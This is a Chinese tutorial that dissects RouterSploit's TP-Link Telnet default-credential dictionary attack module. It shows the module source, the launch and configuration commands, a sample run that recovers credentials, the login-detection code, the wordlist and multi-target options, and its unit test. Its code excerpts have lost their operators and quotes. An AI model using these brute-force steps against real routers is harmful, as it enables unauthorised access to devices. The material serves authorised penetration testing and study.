RouterSploit 实战:TP-Link 路由器 Telnet 默认凭据字典攻击模块 telnet_default_creds 深度解析

发布时间:2026/9/23 7:57:39

RouterSploit 实战:TP-Link 路由器 Telnet 默认凭据字典攻击模块 telnet_default_creds 深度解析 RouterSploit 实战TP-Link 路由器 Telnet 默认凭据字典攻击模块 telnet_default_creds 深度解析【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit导读本篇文章聚焦 RouterSploit 中creds/routers/tplink/telnet_default_creds模块它以字典攻击方式对 TP-Link 路由器开放的 Telnet 服务尝试登录命中后直接向用户输出有效的用户名与密码。文章既给出从启动框架到拿到结果的完整操作步骤与真实运行输出也结合仓库源码模块实现、通用基类、Telnet 客户端与选项解析器逐层拆解其攻击流程、参数含义与判定逻辑帮助你在授权测试场景下快速复用该模块并具备按需定制凭据字典与批量目标的能力。模块定位与功能概述官方文档 docs/modules/creds/routers/tplink/telnet_default_creds.md 对该模块的描述非常明确Module performs dictionary attack with default credentials against TP-Link Router Telnet service. If valid credentials are found, they are displayed to the user.即该模块针对 TP-Link 路由器的 Telnet 服务执行默认凭据字典攻击一旦发现有效凭据便展示给用户。它属于creds凭据模块族位于routersploit/modules/creds/routers/tplink/目录下与该目录中的ftp_default_creds.py、ssh_default_creds.py共同覆盖 TP-Link 设备的 FTP、SSH、Telnet 三类默认凭据探测场景。从模块注册信息telnet_default_creds.py可以看到nameTP-Link Router Default Telnet CredsdevicesTP-Link RouterauthorMarcin Buryroutersploit 模块作者模块源码解析继承链路与参数默认值TP-Link 专属模块本身非常精简其核心是继承通用 Telnet 默认凭据模块再覆写目标类型与默认参数。完整源码如下telnet_default_creds.pyfrom routersploit.core.exploit import * from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault class Exploit(TelnetDefault): __info__ { name: TP-Link Router Default Telnet Creds, description: Module performs dictionary attack against TP-Link Router Telnet service. If valid credentials are found, they are displayed to the user., authors: ( Marcin Bury marcin[at]threat9.com, # routersploit module ), devices: ( TP-Link Router, ), } target OptIP(, Target IPv4, IPv6 address or file with ip:port (file://)) port OptPort(23, Target Telnet port) threads OptInteger(1, Number of threads) defaults OptWordlist(admin:admin, User:Pass or file with default credentials (file://))关键设计点继承链TP-Link 模块 → 通用 Telnet 默认凭据模块routersploit/modules/creds/generic/telnet_default.py→ TelnetClient 客户端基类routersploit/core/telnet/telnet_client.py→ Exploit 基类。所有攻击逻辑都由通用层提供厂商模块只需声明目标设备并设定默认参数这种通用逻辑 厂商参数的模式在 RouterSploit 的 creds 模块族中广泛使用。覆写默认值与通用模块相比TP-Link 模块将threads从默认 8 改为1将defaults从项目通用词表改为admin:adminTP-Link 设备最常见的出厂默认组合。这一点在单元测试中也有断言见下文测试章节。继承属性由于继承通用模块stop_on_success命中后是否停止与verbosity是否显示每次尝试结果两个选项会自动带入无需在厂商模块中重复声明。快速上手指南验证步骤文档给出的标准验证步骤如下对应 docs/modules/creds/routers/tplink/telnet_default_creds.md启动框架./rsf.pyrsf.py 是入口脚本仅支持 Python 3 环境启动时会创建轮转日志文件routersploit.log加载模块use creds/routers/tplink/telnet_default_creds设置目标set target [TargetIP]执行攻击run若发现有效凭据模块会将其展示给用户。其中target支持 IPv4、IPv6 地址也支持file://前缀指定的批量目标文件详见下文批量目标一节Telnet 端口默认 23可通过set port修改。完整场景演示与输出解读文档附带的完整运行场景如下我们逐段解读其含义rsf use creds/routers/tplink/telnet_default_creds rsf (TP-Link Router Default Telnet Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (TP-Link Router Default Telnet Creds) run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: admin Password: admin [-] Telnet Authentication Failed - Username: 1234 Password: 1234 [-] Telnet Authentication Failed - Username: root Password: 12345 [-] Telnet Authentication Failed - Username: root Password: root [] Telnet Authentication Successful - Username: user Password: user [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user输出解读[*] Target exposes Telnet service模块先执行连通性检查check()确认目标 23 端口存在 Telnet 服务后才开始攻击[*] thread-0 thread is starting...因为 TP-Link 模块默认threads 1所以只有thread-0一个线程在消费凭据队列[-] ... Authentication Failed每次登录失败都会按verbosity设置打印注意场景中依次尝试了多组凭据admin:admin、1234:1234、root:12345、root:root说明实际运行时通过defaults选项替换了比模块默认更完整的字典例如项目自带的通用默认凭据词表见 routersploit/resources/wordlists/init.py 中通过pkg_resources加载的defaults.txt[] Telnet Authentication Successful - Username: user Password: user命中有效凭据结尾的结果表格由 printer.py 中的print_table生成包含 Target / Port / Service / Username / Password 五列方便直接引用Elapsed time由 exploit.py 的run_threads统计从线程启动到全部结束的实际耗时。攻击流程与底层原理攻击主流程位于通用模块 telnet_default.py 中调用链如下run() → attack() → check() 连通性探测 → run_threads(threads, target_function, LockedIterator(defaults))run()初始化凭据结果列表后调用attack()check()通过telnet_create()建立 Telnet 客户端并调用test_connect()能收到Login:/login:/Username:/username:提示即认为服务开放attack()被multi装饰器包装——如果target以file://开头则逐行读取目标文件、对每个ip:port目标重复执行攻击exploit.pyrun_threads()按threads数量启动线程每个线程从LockedIterator中取出下一组username:password进行尝试LockedIterator使用互斥锁保证多线程下凭据不会被重复消费exploit.py。单组凭据的登录判定细节真正执行登录的是 telnet_client.py 中的TelnetCli.login()其判定逻辑非常值得关注self.telnet_client.expect([bLogin: , blogin: , bUsername: , busername: ], 5) self.telnet_client.write(bytes(username, utf-8) b\r\n) self.telnet_client.expect([bPassword: , bpassword: ], 5) self.telnet_client.write(bytes(password, utf-8) b\r\n) self.telnet_client.write(b\r\n) (i, obj, res) self.telnet_client.expect([bIncorrect, bincorrect], 5) if i -1 and any([x in res for x in [b#, b$, b]]) or len(res) 500: ... # 判定成功要点客户端兼容大小写不同的登录提示符Login:/login:/Username:/username:登录结果通过两条线索综合判定响应中未出现Incorrect/incorrect字样同时响应包含 Shell 提示符#、$或或者响应长度超过 500 字节用于兼容 Mikrotik 等横幅超长的设备连接与每次交互的超时时间由模块常量TELNET_TIMEOUT 30.0控制攻击线程命中有效凭据后若stop_on_success为true默认会清空线程运行标志使其余线程尽快退出。参数详解可配置项与取值范围结合 option.py 的实现本模块全部可用选项如下选项类型默认值说明与取值范围targetOptIP空目标 IPv4 / IPv6 地址或file://开头的批量目标文件路径非 IP 会触发校验错误portOptPort23目标 Telnet 端口合法范围 165535超范围或非整数会报错threadsOptInteger1TP-Link 模块覆写并发线程数通用模块默认为 8defaultsOptWordlistadmin:adminuser:pass凭据对多个用逗号分隔或用file://指定词表文件stop_on_successOptBooltrue命中一组有效凭据后是否立即停止后续尝试verbosityOptBooltrue是否逐条打印每次登录尝试的成功 / 失败结果关于OptWordlist的读取机制option.py若值以file://开头读取对应文件每行一组user:pass否则按逗号分隔内联凭据如set defaults admin:admin,root:root设置时若文件不存在会立即抛出OptionValidationError。OptPort与OptIP同样有严格校验端口必须能转成 165535 的整数地址必须是合法 IPv4 / IPv6否则模块会拒绝该设置。自定义凭据字典与批量目标自定义词表模块默认只携带admin:admin一组凭据实战中通常需要替换为更完整的字典rsf (TP-Link Router Default Telnet Creds) set defaults admin:admin,admin:password,root:root,user:user或使用项目词表 / 自备词表文件rsf (TP-Link Router Default Telnet Creds) set defaults file://routersploit/resources/wordlists/defaults.txt项目在 routersploit/resources/wordlists/init.py 中通过pkg_resources.resource_filename暴露了defaults.txt、passwords.txt、usernames.txt、snmp.txt四份内置词表通用模块的默认值即指向其中的defaults.txt。批量目标target设置为file://路径时multi装饰器会逐行解析目标文件每行格式为ip:port其中port可省略省略时回退到port选项的值exploit.py。例如targets.txt内容192.168.1.1 192.168.1.2:2323 192.168.1.3:23设置set target file://targets.txt后模块会对三个目标依次执行同样的字典攻击。测试用例与验证仓库为每个 creds 模块都配套了 pytest 用例TP-Link Telnet 模块的测试位于 tests/creds/routers/tplink/test_telnet_default_creds.py它同时验证了模块默认参数与攻击行为两部分from routersploit.modules.creds.routers.tplink.telnet_default_creds import Exploit def test_check_success(generic_target): exploit Exploit() assert exploit.target assert exploit.port 23 assert exploit.threads 1 assert exploit.defaults [admin:admin] assert exploit.stop_on_success is True assert exploit.verbosity is True exploit.target generic_target.host exploit.port generic_target.port assert exploit.check() is True assert exploit.check_default() is not None assert exploit.run() is None从中可以确认的事实默认target为空、port为 23、threads为 1、defaults为[admin:admin]stop_on_success与verbosity均为true从通用基类继承测试通过generic_targetconftest 提供的模拟 Telnet 服务验证check()连通性探测、check_default()静默模式下的凭据探测被mute装饰器抑制输出供 autopwn 等场景复用以及run()完整攻击流程均能正常工作。使用注意与适用范围授权边界该模块属于凭据爆破类工具只应在拥有明确授权的渗透测试、安全评估或自有设备复现场景中使用对未授权目标使用可能违反法律法规。协议特性Telnet 本身以明文传输登录成功后的会话内容同样不加密测试中观察到的凭据泄露风险也正是设备默认口令问题的直接体现。判定局限check()只验证端口连通性与登录提示符无法区分目标是否为真实 TP-Link 设备login()对横幅较长的设备采用响应超 500 字节即视为成功的启发式规则个别环境下可能出现误判。性能权衡TP-Link 模块默认单线程需要更快的扫描速度时可适当调大threads但过高的并发可能触发目标设备的限速或封禁。结果收集check_default()方法以静默方式返回命中凭据列表None表示未命中该接口被扫描器 / autopwn 类模块调用说明本模块除交互式使用外还可作为更大规模自动化评估流程的一个组件。小结creds/routers/tplink/telnet_default_creds是 RouterSploit 中厂商模块瘦身、通用逻辑复用设计思路的典型代表真正复杂的 Telnet 登录判定、多线程调度、结果打印与批量目标解析全部沉淀在 telnet_default.py、telnet_client.py 与 exploit.py 等通用层而 TP-Link 模块仅需声明设备类型并覆写threads与defaults两个参数。理解这条继承链后你既能在五分钟内完成一次针对 TP-Link Telnet 的默认口令验证也能举一反三地读懂 RouterSploit 全部 creds 模块的运作机制。【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
延伸阅读

更多相关文章

2026/9/23 7:57:39

3步搞定网站整站下载器,手写实现避坑指南

3步搞定网站整站下载器,手写实现避坑指南 官方文档翻了三遍还是晕?别慌,整站下载看着复杂,其实核心就那几行代码。今天直接上干货,带你 手写实现 一个轻量级爬虫,不用装一堆重型框架,用 Python 标准库和 requests 就能跑通。…

2026/9/23 7:52:39

AI产品经理agent实战:从引流目标到PRD初稿的自动化产线

1. 为什么我用AI产品经理agent写引流PRD先说结论:我没打算让AI替我做所有决策,但我想验证一件事——让一个产品经理agent独立完成从“引流目标”到“PRD初稿”的整个推演过程,到底能把我的重复劳动压缩到什么程度。这个项目标题叫“利用AI产品…

2026/9/23 8:52:44

Chip Genius原理与实战:U盘主控芯片识别技术解析

1. Chip Genius不是“U盘身份证”,而是主控芯片的X光机很多人第一次听说Chip Genius,是在U盘买回来发现容量虚标、速度慢得离谱、频繁掉盘的时候。朋友甩来一句:“你这U盘是不是扩容盘?拿Chip Genius扫一下就知道了。”——听起来…

2026/9/23 8:52:44

杭州LED大屏行业现状与技术选型指南

1. 杭州LED大屏行业现状解析杭州作为长三角地区数字经济高地,LED显示屏市场需求近年来呈现爆发式增长。根据行业调研数据,2022年杭州LED显示屏市场规模已突破15亿元,年增长率保持在20%以上。这种增长主要来源于三个方向:城市数字化…

2026/9/23 8:52:44

抠图不是一键的事:精度、速度与容错率的三方博弈

1. 为什么“背景太丑”成了当代拍照第一痛点?你有没有过这种经历:拍完一张特别满意的人像,发朋友圈前放大一看——背后是杂乱的电线杆、隔壁老王家晾着的花裤衩、奶茶店门口堆成山的外卖箱,或者更糟,是刚拖完地还泛着水…

2026/9/22 10:02:42

GAMP 5 基于风险的计算机化系统验证:软件分类与审计追踪实践

简介:《A Risk-Based Approach to Compliant GxP Computerized Systems》即业内熟知的GAMP 5指南,面向制药企业质量与IT合规人员、验证工程师及计算机化系统管理者,用于解决GxP法规环境下系统合规性难以科学落地的问题。文档以风险管理为主线…

2026/9/22 9:07:39

安全托管MSSP实战:从静态防御到人机协同的攻防运营与应急响应

简介:这份PPT围绕互联网业务安全托管服务展开,面向企业安全负责人、IT运维人员及关注MSSP/MSS选型的读者,重点回应传统安全过度依赖人工、碎片化静态防御难以对抗产业化攻击等痛点。资源共1个pptx文件,包体约30.63MB,以…

2026/9/23 0:01:54

3个实战技巧搞定形式英语:从看教程到跑通性能优化

3个实战技巧搞定形式英语:从看教程到跑通性能优化 看了一堆教程还是不会写项目?别慌,这种“眼高手低”的困境在开发者圈子里太常见了。很多人以为卡点在语法,其实真正拦路虎是缺乏将知识点串联成完整链路的能力。今天咱们不聊虚的,直接拿【形式英语】这…

2026/9/22 16:34:32

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/22 20:01:30

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/22 13:25:41

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码